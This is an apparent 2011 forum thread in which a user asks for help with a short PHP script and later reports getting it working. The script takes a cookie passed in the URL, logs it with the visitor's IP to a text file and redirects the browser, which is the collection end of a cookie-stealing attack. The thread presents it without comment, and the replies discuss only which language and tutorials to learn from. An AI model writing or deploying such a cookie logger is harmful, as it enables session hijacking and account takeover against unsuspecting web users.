You are not connected. Please login or register

View previous topic View next topic Go down  Message [Page 1 of 1]

1 Having troubles with this code.. on Tue Nov 08, 2011 5:35 am

preset

avatar
Fresh Meat
Loading
Code:
<?php                                                                                                                           
$cookie = $HTTP_GET_VARS["insert cookie here"];
$ip = getenv ('REMOTE_ADDR');
$file = fopen('inserfilenamehere.txt', 'a');                                                             
fwrite($file, $cookie . "\n\n");
header ("Location: /index.php");  //<-------After it redirects to another page.
?>

Not sure if I'm doing something wrong or not?
The code doesn't work..?
Help would be appreciated..



_update
Never mind, I wasn't implementing the $file correctly.

2 Re: Having troubles with this code.. on Tue Nov 08, 2011 11:23 pm

Marcus

avatar
Contributor
Loading
I don't know much PHP so I am not gonna be much help.

Don't use PHP, use ASP.

3 Re: Having troubles with this code.. on Wed Nov 09, 2011 12:23 am

preset

avatar
Fresh Meat
Loading
Marcus wrote:I don't know much PHP so I am not gonna be much help.

Don't use PHP, use ASP.
Best way to learn?

-
Using w3 schools for now

4 Re: Having troubles with this code.. on Thu Nov 10, 2011 11:03 pm

Marcus

avatar
Contributor
Loading
W3Schools is horrible. They left out so much on HTML and so much when I tried PHP. It's better to learn from youtube.

Sponsored content


Loading

View previous topic View next topic Back to top  Message [Page 1 of 1]

Related topics

Permissions in this forum:
You cannot reply to topics in this forum